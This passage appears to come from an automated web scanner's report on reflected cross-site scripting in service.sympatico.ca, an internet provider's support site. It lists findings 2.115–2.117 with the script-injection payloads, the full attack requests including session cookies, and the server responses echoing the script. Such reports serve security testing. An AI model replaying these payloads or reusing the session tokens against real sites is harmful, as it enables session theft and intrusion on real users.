NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:16:50 GMT
Connection: close
Set-Cookie: SMSESSION=4Ton8FVivMfqNxpHTSnuoRITMqGT4o4tKcbDqa1loL3HgX5WtS1/jQwzOjhAtfodPt+In6ypvf2C7BWxdPp70gCC3OoX5dbDsSXmXcoe/zPtplXqLc+s5C84XjnxTeIH6sMdAbVh1cyLlcqGkMRsVRNZILPRxYtnZUQa3dEGOPmKM5pne4ogYCCQ4WNEDv1AlQbW3RqSzk0LI58m+z26X1pjKCAadGVO/pHn/ALKuIrf224oBLYOxwaSswSL1uCi7crg2ZF1Daw7RnP9qWIEPgMpUlYJNylrmXwymI5vhe+fFDlYfR5x1Q==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:16:50 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:16:50 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:16:50 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:16:50 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:16:50 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:16:50 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:16:50 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:16:50 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:16:50 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:16:50 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:16:50 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:16:50 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:16:50 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:16:50 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
e="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C2e049"><script>alert(1)</script>2eb6e28f602/images/buttons/bt_close.gif" />
...[SNIP]...

2.115. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_close.gif [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_close.gif

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 799c6"><script>alert(1)</script>7712940e010 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images799c6"><script>alert(1)</script>7712940e010/buttons/bt_close.gif HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:16:59 GMT
Connection: close
Set-Cookie: SMSESSION=K2A56R6XqLHVI3syAYHByv7dM4CD8soRss14qtw3IN0tOazTdCv4cgnfULXsqTcsWqt00ejianQAq36dPmEZOP7LLzRy36X/tWLAmd4iVCA5OlcWUwQ8pFzcmag18igQW5yp4kF/qeJaMYArEU741oT8tLihu2t5KNy8Lhkx96vqWEbQAlOGChIv4xVb3JwHk2atEKjffqb9SMP3Xy5SRnFMwnVXczGsMcno88FcFgpnYMOCzbtYdLKEs/+VFCBsIero9tcy4IOSKDOOBVVhiFozMK3c/jZB71tRZlMKNlH6trxLPDAvFA==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:00 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:00 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:00 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:00 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:00 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:00 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:00 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:00 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:00 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:00 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:00 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:00 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:00 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:00 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images799c6"><script>alert(1)</script>7712940e010/buttons/bt_close.gif" />
...[SNIP]...

2.116. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_close.gif [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_close.gif

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e2715"><script>alert(1)</script>bef28a28d59 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttonse2715"><script>alert(1)</script>bef28a28d59/bt_close.gif HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:17:10 GMT
Connection: close
Set-Cookie: SMSESSION=L1WLutr/SSn7ymIdyeVoTsDa2puRH3dCzP6XVvOhXh6lujXRZ4vu6VecgY9x9UgQtIzOCEZnOFpuEhLQhN530gcjixR8slaSenxd+T1RqHJoq6+vLt/UtcFZaKhl0OgiOQhcaGVRQwm5koVuCQgLR17fZszc+4x3+h0RSCWrkj4c82kDGN+iyEVOstuI3+x/p/oeKz2+cd1FwYaYX4OOaZa4Uy8jhagwYeNo0rh6czwSDlko/vuEtVWa8/th8ssngTsfsCx7jkz804JRbOCz8LbFDlSdZ345xekg+P0IOKvRsRtbLWjH9g==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:11 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:11 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:11 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:11 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:11 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:11 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:11 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:11 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:11 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:11 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:11 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:11 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:11 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:11 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
ce.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttonse2715"><script>alert(1)</script>bef28a28d59/bt_close.gif" />
...[SNIP]...

2.117. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_close.gif [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_close.gif

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4b160"><script>alert(1)</script>17c2a2c3b55 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_close.gif4b160"><script>alert(1)</script>17c2a2c3b55 HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
